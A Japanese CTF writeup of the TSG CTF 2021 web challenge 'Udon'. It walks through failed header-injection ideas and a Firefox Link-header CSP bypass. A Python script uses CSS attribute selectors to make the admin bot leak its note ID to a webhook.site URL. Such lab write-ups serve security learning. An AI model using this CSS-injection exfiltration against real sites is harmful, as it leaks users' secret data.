TSG CTF 2021 writeup - Udon

Tweet

TSG CTF 2021 に ./Vespiary で参加して3位でした!

自分はweb問のUdonしか解いていないのでチームメンバーに感謝です。以下ではUdonのwriteupを書きます。

> My short writeup in English is here. <

問題概要 - [web] Udon

  • よくあるnote投稿系サービス
  • adminの投稿されたnoteにフラグが書かれている
  • botがあるのでXSS問かと思いきやXSSできる場所はない
  • CSP: Content-Security-Policy: script-src 'self'; style-src 'self'; base-uri 'none'
  • (重要1)クエリパラメータにk,vを与えることで任意のヘッダーをひとつだけ付けることができる
  • (重要2)botのブラウザがfirefox[1]

好きなヘッダを付けられるというのが特徴的。

NG集

最終的な解法だけ載せるのも味気ないので、解法を思いつくまでに出てきたダメだったアイデアを書きます。

NG1: ヘッダのvalueに\r\nを仕込む

そもそも無理だろうと思ったけど、やっぱりダメでした。
これができたら複数のヘッダを追加したりbodyを改竄したりできておもしろいんですけどね...

ちなみに作問者曰く

だそうです。latestでは修正されているとのこと。

NG2: CSPのreport-uriで情報漏洩

ヘッダを追加するときに既存のヘッダを上書きするようになっているので、すでにあるContent-Security-Policyを書き換えることが可能です。

index.html

1
<li><a href="/notes/{{ .ID }}">{{ .Title }}</a></li>

のID部分、つまりaタグのhrefの値をreport-uriディレクティブでいい感じにreportできると嬉しいんですが、そんな都合良いものはなかったです。

NG3: 通常リダイレクトのLocation指定

botにアクセス先として指定できるURLは問題ページに対してのみですが、これが任意のURLに飛ばせるようになったら攻撃の幅が広がります。

main.go/resetエンドポイントの実装は

1
2
3
r.GET("/reset", func(c *gin.Context) {
c.Redirect(http.StatusFound, "/")
})

のようになっているので/reset?k=Location&v=https://example.comで好きなところにリダイレクトできないかなあと考えたけど、c.Redirect(...)Locationの値を/に上書きしたのでダメでした。それはそう。

NG4: Refreshによるリダイレクト

ところでmetaタグrefreshでリダイレクトするやつあるじゃないですか。あれ、実はヘッダでも動くんですよ。ということで

1
"/?k=Refresh&v=" + encodeURIComponent("0;url=https://example.com")

の値を投げてみたんですが、リダイレクトしてくれませんでした。

手元のchromeでもfirefoxでもリダイレクトできることを確認したので謎だったんですが、botの実装の

1
2
3
4
5
6
7
8
9
10
11
await page
.goto(url, {
waitUntil: "load",
timeout: 3000,
})
.catch((e) => {
console.error(e);
});

await page.close();
await browser.close();

で、await page.close();の前に適当にsleepを入れたらリダイレクトしてくれました。await page.goto(...)はRefreshするまでawaitしてくれませんでした。悲しきかな。実際にはsleepなんて入っているわけないので終了。

ちなみにsleepを入れなくても一瞬はリダイレクトしようとするわけだから、TCPで待機してたらリクエストヘッダくらいは見れるんじゃない?とチームメンバーが検証してくれて、見れることが確認できました。攻撃への利用は...無理です。

NG5: Content-Typecharset指定からのbypass

Content-Typeの上書きができるんだからcharsetいじってXSSのvalidationをbypassできないかなと思って

1
"http://34.84.69.72:8080/?k=Content-Type&v=" + encodeURIComponent("text/html; charset=UTF-16BE")

の値を投げてみました:

良さげ。なお、WHATWGによれば

The above prohibits supporting, for example, CESU-8, UTF-7, BOCU-1, SCSU, EBCDIC, and UTF-32. This specification does not make any attempt to support prohibited encodings in its algorithms; support and use of prohibited encodings would thus lead to unexpected behavior. [CESU8] [UTF7] [BOCU1] [SCSU]
https://html.spec.whatwg.org/#character-encodings

だそうです。UTF-7とかでbypassしたかったけどモダンなブラウザでは無理っぽいです。すべておしまい。

以上、NG集でした。

解法

アイデアが尽きてきて行き詰まってたんですが、アイデア出しに参加してもらってたチームメンバーの人が、LinkヘッダでCSSを読み込めることを見つけて来てくれました。

!?

いや〜そんなばかな、ヘッダでCSS読み込めるわけないじゃんと思っていたらfirefoxだと読み込めました。

firefoxのみこの仕様みたいです。これじゃん。

あとはフラグまで一本道です。

1
{} * { background: black; }

のようなCSSになっているノートを投稿して(ノートID:zibXjydLKQ

1
location = "http://34.84.69.72:8080/?k=Link&v=" + encodeURIComponent("<http://34.84.69.72:8080/notes/zibXjydLKQ?k=Content-Type&v=" + encodeURIComponent("text/css; charset=utf-8") + ">; rel=\"stylesheet\"")

でCSP bypassしたら


で期待通り背景真っ暗になることが確認できました。

CSS InjectionでadminのノートIDを盗むスクリプトを書きます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import httpx
from urllib.parse import quote

# base_url = "http://localhost:8080"
base_url = "http://34.84.69.72:8080"
base_ssrf_url = "http://app:8080"

hook_url = "https://webhook.site/xxx-xxx-xxx-xxx-xxx"

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

suffix = "R1cmOAtdG" # 現時点で確定しているIDのsuffix
n = 1 # 一度に確定する文字数


def f(n: int):
note_description = "{}\n"

def rec(d: int, s: str) -> list[str]:
if d == n:
return [s]
else:
return sum([rec(d+1, s+c) for c in chars], [])

for c in rec(0, ""):
note_description += "li a[href$={{value}}] { background: url({{hook_url}}/{{value}}) }\n".replace("{{value}}", c + suffix).replace("{{hook_url}}", hook_url)

res = httpx.post(
base_url + "/notes",
data={
"title": "xxx",
"description": note_description,
},
allow_redirects=False,
)
assert res.status_code == 302

note_url = base_ssrf_url + res.headers["Location"]
print(note_url)
exploit_path = "/?k=Link&v=" + quote("<" + note_url + "?k=Content-Type&v=" + quote("text/css; charset=utf-8") + ">; rel=\"stylesheet\"")

res = httpx.post(
base_url + "/tell",
data={
"path": exploit_path,
},
allow_redirects=False,
)
assert res.status_code == 302


f(n)

何度かスクリプトを回すことでadminノートのIDを後方から確定していきます。
本当は hook_url でホストして自動化したほうがかっこいいのですが、今回はIDが10文字で短いことがわかっていたので手動で確定させました。

また、a[href $= 1abc]のように数字から始まるとCSSセレクタとしてvalidではないため、1文字ずつではなくn文字ずつ確定できるようになっています。最後(先頭の文字)は数字のようだったので0から9までbrute forceしました。作問者writeupによればa[href $= \31\61\62\63]でエスケープできたんですね。知らなかった。

最終的にIDは4R1cmOAtdGでした。該当ノートのページにアクセスするとフラグゲットです。

フラグ

1
TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}

感想

TSG CTFらしく、「有り余るCS力と作問センスでぶん殴ったらできました」的な印象を受けた問題たちでした。
色々な問題に取り組みたいけど24hでは短い、かと言って48hになると疲れてしまうので自分が強くなるしかないですね。精進します。

運営・作問の方々たのしいCTFをありがとうございました。来年のTSG CTFにも参加したいです。


  1. web問でのbotは大抵chromeが使われるので、firefoxの場合には「そこが攻撃ポイントになることが多い」というメタ読みができます。 ↩︎